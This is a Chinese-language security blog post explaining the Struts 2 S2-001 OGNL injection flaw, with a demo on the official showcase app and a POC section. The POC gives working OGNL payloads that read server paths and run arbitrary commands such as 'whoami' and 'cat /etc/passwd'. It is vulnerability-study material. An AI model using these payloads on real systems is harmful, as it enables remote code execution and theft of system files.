Struts 2 漏洞系列之 S2-001

本文作者通过回顾 S2 系列漏洞的原理,一来自己从头学起,二来也想为信息安全社区贡献一点点微薄的力量。本文作者水平很渣,有描述不对的地方欢迎指出,共同来提高本专栏文章的质量!感谢每一位读者!

漏洞原理

    Struts 2 框架的表单验证机制( Validation )主要依赖于两个拦截器:validation 和 workflow

    validation 拦截器工作时,会根据 XML 配置文件来创建一个验证错误列表;workflow 拦截器工作时,会根据 validation 拦截器所提供的验证错误列表,来检查当前所提交的表单是否存在验证错误。

    在默认配置下,如果 workflow 拦截器检测到用户所提交的表单存在任何一个验证错误,workflow 拦截器都会将用户的输入进行解析处理,随即返回并显示处理结果。

    那么问题出在哪里呢?我们再来了解 Struts 2 框架中的一个标签处理功能: altSyntax

     altSyntax 功能是 Struts 2 框架用于处理标签内容的一种新语法(不同于普通的 HTML ),该功能主要作用在于支持对标签中的 OGNL 表达式进行解析并执行。比如:

<s:iterator value="cart.items">
   ...
   <s:textfield label="'Cart item No.' + #rowstatus.index + ' note'"
                 name="'cart.items[' + #rowstatus.index + '].note'"
                 value="note" />
</s:iterator>

    上述代码在开启 altSyntax 功能后,可以这么写(引入 OGNL 表达式):

<s:iterator value="cart.items">
   ...
   <s:textfield label="Cart item No. %{#rowstatus.index} note"
                 name="cart.items[%{#rowstatus.index}].note"
                 value="%{note}" />
</s:iterator>

    altSyntax 功能在处理标签时,对 OGNL 表达式的解析能力实际上是依赖于开源组件 XWork。

    于是,在 XWork 组件版本小于 2.0.4 以及 altSyntax 功能开启的情况下,恶意攻击者可以通过提交一个带有 OGNL 表达式的表单请求,故意触发表单验证错误——最终该表单请求中恶意的 OGNL 表达式会被 XWork 组件解析并执行,随即由 workflow 拦截器返回执行结果。

漏洞演示

    本次测试我们使用的代码是官方提供的 struts2-showcase-2.0.1, XWork 版本小于 2.0.4,且 altSyntax 功能默认是开启的,无需再手动配置。

    测试 Demo 表单中一共有三个值:nameage 和 answer。表单代码如下:

<s:form method="post">
    <s:textfield label="Name" name="name"/>
    <s:textfield label="Age" name="age"/>
    <s:textfield label="Favorite color" name="answer"/>
    <s:submit/>
</s:form>

    validation 拦截器设置的条件是 age 的值必须在13和19之间,配置信息如下:

<validators>
    <field name="name">
        <field-validator type="requiredstring">
            <message>You must enter a name</message>
        </field-validator>
    </field>
    <field name="age">
        <field-validator type="int">
            <param name="min">13</param>
            <param name="max">19</param>
            <message>Only people ages 13 to 19 may take this quiz</message>
        </field-validator>
    </field>
</validators>

    测试 Demo 界面效果图如下:

S2-001 DEMO

    现在我们来模拟恶意用户:

  • 1. POST 提交正常数据:name=test&age=14&answer=black,回显正常。效果如下:

测试

  • 2. POST 提交触发验证错误的正常数据:name=test&age=10&answer=black,回显输入内容并提示触发了表单验证错误。效果如下:

测试

  • 3. POST 提交特殊构造的恶意数据:name=%{11+12}&age=10&answer=%{2017+2018},回显恶意 OGNL 表达式的执行结果,并提示触发了表单验证错误。效果如下:

测试

  • 4. POST 提交攻击代码:name=%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}&age=10&answer=%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"},回显攻击代码的执行结果,镔铁提示触发了表单验证错误。效果如下:

测试

POC

    本文所提供的 POC 仅供研究学习,请勿用于非法用途!

  • 获取tomcat执行路径:
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
  • 获取Web路径:
%{
  #req=@org.apache.struts2.ServletActionContext@getRequest(),
  #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
  #response.println(#req.getRealPath('/')),
  #response.flush(),
  #response.close()
  }
  • 执行任意命令:
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
  • 执行任意命令时,如果所执行的命令需要组合,则将上述 payload 改为:
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

挖洞思路

  • 需要了解 Struts 2 框架的表单验证机制。
  • 需要了解 OGNL 表达式。

参考链接

2

发表评论

已有 4 条评论

取消
Loading...
css.php